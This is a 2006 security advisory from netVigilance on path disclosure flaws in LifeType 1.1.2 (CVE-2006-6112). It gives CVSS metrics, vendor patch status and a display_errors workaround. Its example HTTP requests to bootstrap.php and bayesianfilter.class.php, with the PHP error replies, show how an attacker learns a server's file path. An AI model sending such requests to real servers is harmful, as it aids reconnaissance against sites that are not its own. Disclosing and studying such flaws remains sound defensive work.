netVigilance Security Advisory #8 LifeType version 1.1.2 Multiple Path Disclosure Vulnerabilities Description: LifeType is a Blogging platform built with PHP, designed with maximum customizability, speed and ease of use in mind. Due to program flaws it is possible for the remote attacker to disclose the true path of the server-side script. External References: Mitre CVE: CVE-2006-6112 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6112 NVD NIST: CVE-2006-6112 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2006-6112 OSVDB: 30685 30686 Summary: LifeType is a blogging platform built with PHP, designed with maximum customizability, speed and ease of use in mind. A security problem in the product allows attackers to gather the true path of the server-side script. Release Date: Severity: Risk: Low CVSS Metrics Access Vector: Remote Access Complexity: Low Authentication: not-required Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Impact Bias: Normal CVSS Base Score: 2.3 Target Distribution on Internet: Low Exploitability: Functional Exploit Remediation Level: Officical Fix Report Confidence: Confirmed Vulnerability Impact: Attack Host Impact: Path disclosure. SecureScout Testcase ID: TC 17938 Vulnerable Systems: Lifetype version 1.1.2 Vulnerability Type: Program flaw ? The bayesianfilter.class.php and bootstrap.php scripts has flaws which lead to a Warning or even Fatal Errors. Vendor Status: The Vendor has been notified. LifeType has released an immediate patch, Soon to be released version 1.1.3 and above solves the problem. Also see vendors release here : http://www.lifetype.net/blog.php/lifetype-development-journal/2006/11/30 /full_path_disclosure_vulnerability_in_lifetype_1.0.x_and_1.1.x To download latest version goto http://www.lifetype.net/blog.php/lifetype-development-journal/page/downl oads Workaround: Disable warning messages: modify in the php.ini file following line: display_errors = Off. Or modify .htaccess file (this will work only for the apache servers). Example: HTTP REQUEST http://[TARGET]/[lifetype-directory]/class/bootstrap.php REPLY ... <!--error--><br /> <b>Notice</b>: Use of undefined constant PLOG_CLASS_PATH - assumed 'PLOG_CLASS_PATH' in <b>[FULL PATH TO FILE]bootstrap.php</b> on line <b>24</b><br /> <br /> <b>Warning</b>: main(PLOG_CLASS_PATHclass/object/exception.class.php): failed to open stream: No such file or directory in <b>[FULL PATH TO FILE]bootstrap.php</b> on line <b>24</b><br /> <!--error--><br /> <b>Warning</b>: main(): Failed opening 'PLOG_CLASS_PATHclass/object/exception.class.php' for inclusion (include_path='.;/usr/local/php/PEAR') in <b>[FULL PATH TO FILE]bootstrap.php</b> on line <b>24</b><br /> <br /> <b>Notice</b>: Use of undefined constant PLOG_CLASS_PATH - assumed 'PLOG_CLASS_PATH' in <b[FULL PATH TO FILE]bootstrap.php</b> on line <b>27</b><br /> <br /> <b>Warning</b>: main(PLOG_CLASS_PATHclass/misc/info.class.php): failed to open stream: No such file or directory in <b>[FULL PATH TO FILE]bootstrap.php</b> on line <b>27</b><br /> <br /> <b>Warning</b>: main(): Failed opening 'PLOG_CLASS_PATHclass/misc/info.class.php' for inclusion (include_path='.;/usr/local/php/PEAR') in <b>[FULL PATH TO FILE]bootstrap.php</b> on line <b>27</b><br /> ... OR HTTP REQUEST http://[TARGET]/[lifetype-directory]/class/security/bayesianfilter.class .php REPLY ... REPLY <!--error--><br /> <b>Notice</b>: Use of undefined constant PLOG_CLASS_PATH - assumed 'PLOG_CLASS_PATH' in <b>[FULL PATH TO FILE]bayesianfilter.class.php</b> on line <b>3</b><br /> <br /> <b>Warning</b>: main(PLOG_CLASS_PATHclass/security/pipelinefilter.class.php): failed to open stream: No such file or directory in <b>[FULL PATH TO FILE]bayesianfilter.class.php</b> on line <b>3</b><br /> <br /> <b>Warning</b>: main(): Failed opening 'PLOG_CLASS_PATHclass/security/pipelinefilter.class.php' for inclusion (include_path='.;/usr/local/php/PEAR') in <b>[FULL PATH TO FILE]bayesianfilter.class.php</b> on line <b>3</b><br /> <br /> <b>Notice</b>: Use of undefined constant PLOG_CLASS_PATH - assumed 'PLOG_CLASS_PATH' in <b>[FULL PATH TO FILE]bayesianfilter.class.php</b> on line <b>4</b><br /> <br /> <b>Warning</b>: main(PLOG_CLASS_PATHclass/net/client.class.php): failed to open stream: No such file or directory in <b>[FULL PATH TO FILE]bayesianfilter.class.php</b> on line <b>4</b><br /> <br /> <b>Warning</b>: main(): Failed opening 'PLOG_CLASS_PATHclass/net/client.class.php' for inclusion (include_path='.;/usr/local/php/PEAR') in <b>[FULL PATH TO FILE]bayesianfilter.class.php</b> on line <b>4</b><br /> <br /> <b>Fatal error</b>: Class bayesianfilter: Cannot inherit from undefined class pipelinefilter in <b>[FULL PATH TO FILE]bayesianfilter.class.php</b> on line <b>29</b><br /> ... URL of Original Advisory: http://www.netvigilance.com/advisory0008 Credits: Jesper Jurcenoks Co-founder netVigilance, Inc www.netvigilance.com